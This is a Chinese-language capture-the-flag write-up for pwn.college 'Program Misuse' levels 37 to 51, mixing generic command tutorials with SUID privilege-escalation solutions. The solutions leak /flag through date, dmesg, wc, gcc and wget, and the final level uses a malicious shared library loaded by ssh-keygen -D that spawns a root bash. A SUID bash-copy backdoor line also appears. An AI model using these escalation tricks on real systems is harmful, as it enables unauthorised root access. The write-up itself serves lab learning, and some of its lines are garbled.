Program Misuse(2)

简介: Program Misuse(2)

level 37~40

chown

chown命令用于改变文件或目录的所有者(owner)。只有文件的所有者或超级用户(root)才能使用chown命令来改变文件的所有者。以下是chown命令的详细说明:

语法:

chown [新所有者][:新组] 文件或目录

参数:

  • 新所有者:指定文件或目录的新所有者。
  • 新组:可选参数,指定文件或目录的新所属组。
  • 文件或目录:要改变所有者的文件或目录的路径。

示例用法:

  1. 改变文件所有者:
chown user1 file.txt

这将把file.txt的所有者改为user1

  1. 改变文件所有者和所属组:
chown user2:group2 file.txt

这将把file.txt的所有者改为user2,所属组改为group2

  1. 递归改变目录及其内容的所有者:
chown -R user3:group3 directory/

这将递归地把directory/目录及其所有内容的所有者改为user3,所属组改为group3

  1. 改变符号链接的所有者而不是目标文件:
chown -h user4 symlink

这将把符号链接symlink的所有者改为user4,而不是目标文件的所有者。

chown命令是一个常用的系统管理命令,用于管理文件和目录的所有者信息。通过合理使用chown命令,可以确保文件和目录的安全性和权限设置符合需求。

chomd

chmod命令用于改变文件或目录的权限。通过chmod命令,用户可以控制文件或目录的读、写、执行权限,以及设置特殊权限如设置用户组的执行权限等。以下是chmod命令的详细说明:

语法:

chmod [选项] 模式 文件或目录

参数:

  • 选项:常用选项包括 -R 递归修改权限,-v 显示操作详细信息等。
  • 模式:用数字或符号表示的权限模式,如 777u+rwx,g+rw,o-r
  • 文件或目录:要改变权限的文件或目录的路径。

权限模式:

  • 数字表示法:每个数字代表一组用户的权限,分别为所有者、所属组和其他用户,权限用数字表示(读=4,写=2,执行=1),三个数字相加即为权限值。例如,777 表示所有用户都有读、写、执行权限。
  • 符号表示法:使用符号来表示权限,包括 u(所有者)、g(所属组)、o(其他用户)、a(所有用户),以及 +(添加权限)、-(移除权限)、=(设置权限)等符号。例如,u+rwx,g+rw,o-r 表示给所有者添加读、写、执行权限,给所属组添加读、写权限,移除其他用户的读权限。

示例用法:

  1. 设置文件的权限为可读写执行:
chmod 777 file.txt

这将给file.txt设置为所有用户都有读、写、执行权限。

  1. 递归修改目录及其内容的权限:
chmod -R 755 directory/

这将递归地给directory/目录及其所有内容设置权限为所有者可读写执行,所属组和其他用户可读执行。

  1. 为文件添加特殊权限:
chmod +x script.sh

这将给script.sh添加执行权限。

chmod命令是一个常用的系统管理命令,用于管理文件和目录的权限。通过合理使用chmod命令,可以确保文件和目录的权限设置符合需求。

cp [ level 39 ]

cp命令本身并不用于读取文件内容,而是用于复制文件或目录。如果要复制具有写保护的文件,可以使用cp命令的一些选项来处理。下面是详细的步骤:

  1. 复制具有写保护的文件:
cp -f source_file.txt destination_file.txt
  • -f选项用于强制复制文件,即使目标文件是只读的或存在写保护。
  1. 复制具有写保护的目录及其内容:
cp -rf source_directory/ destination_directory/
  • -r选项用于递归复制目录及其内容。
  • -f选项用于强制复制文件,即使目标文件是只读的或存在写保护。
  1. 复制并保留源文件的权限和时间戳:
cp -p source_file.txt destination_file.txt
  • -p选项用于保留源文件的权限和时间戳。
  1. 复制并覆盖目标文件:
cp -i source_file.txt destination_file.txt
  • -i选项用于在复制前进行确认提示,避免意外覆盖目标文件。

请注意,即使文件具有写保护,使用**cp**命令复制文件时,目标文件的写保护属性不会被继承,而是根据系统默认权限设置。如果需要在复制后手动设置目标文件的写保护属性,可以使用chmod命令来实现。

cp -v --no-preserve=all /flag ./flag && cat ./flag && rm -rf ./flag

mv 【level 40】

mv /usr/bin/cat /usr/bin/mv && /challenge/babysuid_level40 && mv /flag

HARD /challenge/babysuid_level40 && mv /usr/bin/cat /usr/bin/mv && /challenge/babysuid_level40 && mv /flag

  • This level’s solution is pretty tricky
  • The level said it had set the suid for mv after we executed it. So remember, it set the suid just for a program called mv. mv is just a name, no matter what it is in its core logic. That is saying we can replace it with others.
  • Here we just rename cat to mv, and covered the original mv program, then execute level program to get the suid privilege for present mv program (However, in core logic, it’s cat program)
  • Finally, ‘cat’ it, but our command should be mv /flag

level 41~44

perl

Perl 是一种高级编程语言,它被设计用来处理文本数据并执行系统管理任务。Perl 命令是在命令行中执行 Perl 脚本或代码的方式。下面是一些关于 Perl 命令的详细解释:

  1. 基本语法
  • 在命令行中执行 Perl 命令的基本语法是 perl -e 'code',其中 -e 选项表示后面跟着要执行的 Perl 代码。
  • 你可以在单引号内编写 Perl 代码,然后 Perl 解释器会执行这段代码。
  1. 选项
  • -e 'code':指定要执行的 Perl 代码。
  • -n:逐行读取输入文件,并对每一行执行指定的代码。
  • -p:与 -n 类似,但会打印每一行的结果。
  1. 使用场景
  • Perl 命令通常用于处理文本数据,例如提取特定行或列,搜索和替换文本等操作。
  • 它也可以用于执行系统管理任务,如批量处理文件、生成报告等。
  1. 示例
  • perl -ne 'print if $. == 1' file.txt:打印文件 file.txt 的第一行。
  • perl -pe 's/foo/bar/g' file.txt:在文件 file.txt 中将所有的 foo 替换为 bar 并打印输出。

总的来说,Perl 命令提供了一种快速而灵活的方式来处理文本数据和执行简单的任务,特别适用于命令行环境下的文本处理需求。

要使用Perl命令读取文件 /1.txt,你可以使用以下命令:

perl -ne 'print if $. == 1' /1.txt

这个命令使用了 Perl 的 -n 选项,它会逐行读取输入文件。然后,print if $. == 1 这段代码会打印出文件中的第一行内容。

python

当然,您可以使用Python来读取文件 /1.txt。以下是一个详细的示例代码,演示如何使用Python读取文件内容:

# 打开文件
with open('/1.txt', 'r') as file:
    # 逐行读取文件内容
    for line in file:
        print(line, end='')  # 打印每一行内容

这段代码的功能是打开名为 /1.txt 的文件,并逐行读取文件内容,然后将每一行内容打印出来。

ruby

xxx.rb 为该程序语言的文件格式。

要在 Ruby 中启动交互模式,您可以通过以下步骤进行:

  1. 打开终端或命令提示符。
  2. 输入以下命令启动 Ruby 的交互式解释器:
irb
  1. 您将看到类似以下的提示符,表示您已经进入了 Ruby 的交互模式:
irb(main):001:0>
  1. 现在,您可以在交互式解释器中输入 Ruby 代码,并立即看到结果。例如,您可以尝试输入以下代码:
irb(main):001:0> puts "Hello, World!"
  1. 按下 Enter 键后,您将看到输出结果:
Hello, World!
=> nil
  1. 您可以继续输入更多的 Ruby 代码,并立即查看执行结果。交互式解释器会即时执行您输入的代码并显示结果。
  2. 要退出 Ruby 的交互式解释器,您可以输入 exit 或按下 Ctrl + D

通过以上步骤,您可以在 Ruby 中启动交互模式,并在其中编写和执行代码。

在 Ruby 的交互模式下,您可以使用以下步骤读取文件 /2.txt 的内容:

  1. 打开终端或命令提示符。
  2. 启动 Ruby 的交互式解释器(IRB)
  3. 在交互式解释器中,使用以下代码读取 /2.txt 文件的内容:
file_content = File.read("/2.txt")
puts file_content
  1. 按下 Enter 键后,您将看到文件 /2.txt 的内容被打印出来。

bash 【level 44】

bash -p   # 该命令不太正常,暂时查不到相关信息
cat /flag

level 45~49

【Just straight up wasn’t designed to let you read files!】

date 【level 45】

将所需要读取文件作为data目标文件,借助报错得到文件内容

date -f /flag

dmesg level 46】

dmesg命令用于显示内核环缓冲区的内容

dmesg -F /flag

wc 【level 47】

wc 命令本身并不用于显示文件的实际内容,而是用于统计文件中的行数、字数和字节数等信息

wc --files0-from=/flag

gcc 【level 48】

gcc -x assembler /flag

as 【level 49】

as 命令通常用于将汇编语言源代码文件汇编成目标文件

as @/flag

wget 【level 50】

wget 是一个在命令行下用来从网络下载文件的工具。它支持HTTP、HTTPS和FTP等协议,可以通过URL下载文件到本地计算机。

wget -bv --post-file=/flag 127.0.0.1:3864 | nc -vl 127.0.0.1 3864
  • DO NOT use the -i option, it turns all the flag letters to lowercase because of the url encoding rule.

**ssh-keygen 【**level 51 】

** ⭐⭐⭐⭐⭐⭐⭐ 一般程序suid提权**

ssh-keygen 是一个用于生成 SSH 密钥对的命令行工具。SSH 密钥对通常包括公钥(public key)和私钥(private key),用于加密和解密 SSH 连接。

坑:

  1. 可以使用这行c代码来查询当前执行uid(不要用getuid()):printf(“euid:%d\n”,geteuid());如果为0代表当前执行权限为root。
  2. 在使用euid=0的权限时不要使用system()函数来运行shell代码,不然会以当前uid权限来执行shell代码,估计也是运行dash而且不会识别euid。
//简单来说就是不要用这个:
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
//而用这个:
char *argvv[]={"bash","-p",NULL};
execvp("/bin/bash",argvv);

知识点:

  1. 首先是ssh-keygen用-D参数可以直接运行任意的共享库,如果有suid的话就能运行我们的恶意代码造成提权,共享库的创建方式见下方。使用方法:ssh-keygen -D ./su.os
  2. 可以利用c语言代码:sendfile(1,open(“/flag”,0),0,4096);来打开文件,并且将内容发送给标准输出显示。
  3. 可以利用设置c语言的attribute属性来使函数在程序预处理阶段运行:
#include<stdio.h>
#include<stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
    printf("euid:%d\n",geteuid());
    sendfile(1,open("/flag",0),0,4096);
}
  1. c程序的链接方式包括静态链接动态链接两种。静态链接库,在以前,程序是独立的,编个程序要从头到尾自己考虑。后来为了方便,把通用的程序放在一起,这就是库,遇到需要类似的功能就可以调用。但是这个有个问题,计算机不知道你要用的是链接库哪一个程序, 所以它不得不将链接库全部程序包含进来,使得程序很大。 动态链接库,本身和静态链接没什么区别,也是把通用代码写进一些独立文件里,但是在编译方面,微软绕了个圈子,并没有采取把库文件加进程序的方法,而是把库文件做成已经编译好的程序,给它们开个交换数据的接口,写程序的时候,一旦要使用某个库文件的一个功能函数,系统就把这个库文件调入内存,连接上这个程序占有的任务进程,然后执行程序要用的功能函数,并把结果返回给程序显示出来,在我们看来,就像是程序自己带有的功能一样。 完成需要的功能后,这个DLL停止运行,整个调用过程结束。 DLL是编译好的代码,与一般程序没什么大差别,只是它不能独立运行,需要程序调用。DLL的代码和其他程序几平没什么两样,仅仅是接口和启动模式不同。
  2. gcc可以通过-shared参数来创建共享库,共享库不能单独运行,它相当于一个必须被别人调用才能运行的程序,它与普通二进制程序的区别可以通过file命令来查看,共享库没有interpreter这样的字段,也就是没有链接解释器。gcc 51.c -shared -o su.os
  3. c程序中可以利用<dlfcn.h>头文件中的一系列函数dlopen,dlclose来加载运行共享库,详细说明可以通过:man dlopen来查看。
  4. ldd命令 用于打印程序或者库文件所依赖的共享库列表。我们可以利用它来查看是否有可操作的os共享库,注入我们的代码。
  5. 另外一种查询方式是利用strace来查看程序运行全程,然后可以用grep来过滤一下:
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"

参考:

  1. 首先在b站的这个视频学到基本的suid提权之os文件注入方法:suid提权之os文件注入-哔哩哔哩
  2. 然后在这个视频学到了怎么做这道题,顺带知道了普通可执行程序和共享库之间的区别,还有lld命令的基本使用:CSE 466: Computer Systems Security - Connor’s Office Hours 08/26/2021

通关过程:

编写51.c:

#include<stdio.h>
#include<stdlib.h>
static void inject() __attribute__((constructor));
void C_GetFunctionList(){
    printf("euid:%d\n",geteuid());
    sendfile(1,open("/flag",0),0,4096);
    //system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
    char *argvv[]={"bash","-p",NULL};
    execvp("/bin/bash",argvv);
}

编译后用ssh-keygen的-D参数运行即可:

gcc 1.c -shared -o su.os
/challenge/babysuid_level51   # 启动程序,给ssh-keygen赋予权限
ssh-keygen -D ./su.os

参考wp

TinySnow.github.io/src/技术/其他资料/pwn.college-writeup.md at master · TinySnow/TinySnow.github.io

pwncollege通关笔记:2.Program Misuse(从0开始学习pwn) - FreeBuf网络安全行业门户

Assembly Crash Course | Write-ups

目录
相关文章
|
19天前
|
Unix Linux Shell
Program Misuse(1)
Program Misuse
15 4
|
10月前
files 2
files 2
51 0
|
10月前
3.4 Files
3.4 Files
48 0
EXEC_PROGRAM
EXEC_PROGRAM
100 1
在program A里访问program B local class的两种方式
在program A里访问program B local class的两种方式
110 0
在program A里访问program B local class的两种方式
|
NoSQL Java 数据库
|
NoSQL
[Advance] How to debug a program (上)
Tool GDB Examining Memory (data or in machine instructions) You can use the command x (for “examine”) to examine memory in any of several formats, independently of your program's data types.
859 0
|
Shell Perl 网络安全